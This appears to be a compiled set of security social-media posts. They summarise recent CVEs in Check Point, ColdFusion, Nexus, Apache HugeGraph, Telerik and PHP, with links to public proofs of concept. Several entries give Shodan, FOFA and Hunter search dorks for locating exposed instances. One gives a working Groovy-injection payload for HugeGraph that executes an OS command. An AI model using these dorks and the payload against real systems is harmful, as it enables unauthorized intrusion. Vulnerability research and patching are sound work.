🚨Check Point Quantum Gateway - CVE-2024-24919🚨

👉CVE-2024-24919 is an information disclosure vulnerability that can allow an attacker to access certain information on internet-connected Gateways which have been configured with IPSec VPN, remote access VPN or mobile access software blade.

🔗Github POC: https://github.com/seed1337/CVE-2024-24919-POC

🚨Adobe Coldfusion XSS - CVE-2023-44352🚨

👉Adobe ColdFusion versions 2023.5 (and earlier) and 2021.11 (and earlier) are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If an unauthenticated attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
.
.
.
🔗poc: https://buff.ly/3V2F8tD

"Server: Check Point SVN" "X-UA-Compatible: IE=EmulateIE7"

🚨CVE-2024-4956:Nexus Repository Flaw Exposed🚨

⚠️This vulnerability, discovered and responsibly reported by @erickfernandox, could allow attackers to access and download sensitive system files without authentication.

👉Dorks:
Hunter:/product.name="Nexus Repository"
FOFA:app="Nexus-Repository-Manager"
SHODAN:http.html:"Nexus Repository"

POC: https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2024-4956

CVE-2024-27348: Unauthenticated users can execute OS commands via Groovy injection in Apache HugeGraph-Server. Upgrade to version 1.3.0 to mitigate.

💥POC: https://lnkd.in/g_v4h7Cg

👉Dorks:
Hunter: /product.name="Apache HugeGraph"
FOFA: app="HugeGraph-Studio"
SHODAN: http.title:"HugeGraph"

📢Use This Extensions, it will help you to Extract all domains From any website.

🔸Link Extractor: https://link-extractor.cssnr.com
🔸Link Gopher: https://github.com/az0/linkgopher

🚨CVE-2024-27348: RCE in Apache HugeGraph-Server.

📢Remedy: Upgrade to version 1.3.0 to mitigate.

😉Payload:

{"gremlin":"def result = \"uname -a\".execute().text\njava.lang.reflect.Field field = Thread.currentThread().getClass().getDeclaredField(\"BrutSecurity\"+ result);"
}

👌Video: https://youtu.be/32cyeCd4DEc

🚨Progress Telerik Report Server pre-authenticated RCE chain (CVE-2024-4358/CVE-2024-1800)🚨

📢PoC: https://github.com/sinsinology/CVE-2024-4358

⚠Detailed Analysis from @SinSinology https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/

👉Dorks:
🔸Hunter: /product.name="Telerik report server"
🔸FOFA: app="Telerik-Report-Server"
🔸SHODAN: http.title:"Telerik report server"

🚨Android SSL Pinning Bypass using Noxer🚨

👉Automate your Android penetration testing lab setup using Nox Emulator. Noxer is a powerful Python script designed for automating Android penetration testing tasks within the Nox Player emulator. It simplifies setup, enhances stability, manages Frida Server, removes unwanted bloatware, integrates BurpSuite certificates, and much more!

🔗Noxer: https://buff.ly/4b0gxM4

🚨CVE-2024-4577: PHP CGI Argument Injection Vulnerability🚨

⚠Dorks:
🔸Hunter: header.server="PHP"
🔸FOFA: server="PHP"
🔸SHODAN: server: PHP

Last Call! Hurry Up